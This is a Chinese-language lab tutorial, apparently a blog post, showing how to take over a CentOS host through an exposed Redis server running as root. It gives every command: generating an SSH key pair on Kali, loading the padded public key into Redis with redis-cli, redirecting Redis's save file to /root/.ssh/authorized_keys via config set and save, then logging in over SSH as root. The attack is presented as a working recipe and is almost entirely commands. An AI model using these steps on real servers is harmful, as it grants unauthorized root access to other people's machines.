首先說明一下我們的實驗目的,我們這個實驗需要利用一種公有密碼,將公有密鑰寫入要攻擊的服務器的redis數據庫,然后使用我們自己的私鑰進行遠控肉雞的操作。
實驗環境:centos7(靶機,版本無太大要求,重點是靶機需要開啟22端口的ssh服務)
kali(攻擊方)
(1)在centos7內安裝redis數據庫,並以root權限啟動redis(安裝步驟請參照我寫的上一篇 https://www.cnblogs.com/cute-puli/p/10853300.html )

看到餅狀圖代表redis數據庫安裝成功
(2)在centos7內開啟ssh服務(一般靶機是會將此服務打開的)
在centos的/etc/ssh目錄下
輸入查詢是否安裝ssh的命令:
rpm -qa | grep ssh
輸入啟動ssh的命令:
systemctl restart sshd
輸入ssh端口是否監聽的命令:
netstat -an | grep 22

能看到22端口已開始監聽代表成功開啟ssh服務
(3)在靶機的~目錄下,創建一個隱藏的.ssh文件夾接收攻擊方要傳來的公鑰值。
mkdir .ssh/

(4)查詢是否ssh文件是否已創建好
輸入命令:
ls -la

能夠看到ssh文件夾的存在
(5)進入攻擊方,在攻擊方,我們同樣需要安裝好redis數據庫,具體安裝流程不再贅述。

上圖代表redis已經安裝完成
(6)在kali中,我們同樣需要創建一個和centos一樣的.ssh的文件,但這個.ssh是用來生成密鑰的,
在~目錄下執行命令:
mkdir .ssh/
ls -la

(7)在kali的這個我們創建的.ssh下產生密鑰:
執行語句,提示輸入什么時,一直回車就好:
ssh-keygen -t rsa

上圖所示代表生成的公有與私有密鑰
(8)將公有密鑰導入到key.txt中
執行寫入語句的操作:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
這時,在.ssh/目錄下出現key.txt代表寫入成功,可以使用
cat key.txt
進行查看是否成功。

這是成功的回顯效果
(9)將公有密鑰導入到靶機中,使用如下命令(在kali進行,我的centos7的IP就是192.168.11.205,kali的IP為192.168.172.129)
注:需要在/src的目錄下輸入如下命令

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.11.205 -x set xxx
(10)連接靶機(這就是為什么kali也要安裝redis的原因)
./redis-cli -h 192.168.11.205

如上圖這樣,需要在/src的目錄下輸入命令
(11)向靶機的redis數據庫創建一個名為authorized_keys的庫,並寫入key.txt的操作,寫入公有密鑰:
config set dir /root/.ssh
config set dbfilename authorized_keys
save

我們能夠發現,centos靶機已被寫入了公有密鑰
(12)在kali使用ssh對靶機進行連接,直接即可遠控192.168.11.205靶機
輸入:
ssh 192.168.11.205

最后說明:這樣,我們就成功遠控了centos靶機,這里需要提一點:路徑都是可以更換的,當你成功的遠控了主機之后,就可以更換路徑再次嘗試這樣的操作,還有,我這里的centos使用的是橋接模式,而kali使用的是nat模式,在做實驗時,需要保證,kali能ping通靶機環境,否則無法進行寫入公有密鑰的操作。
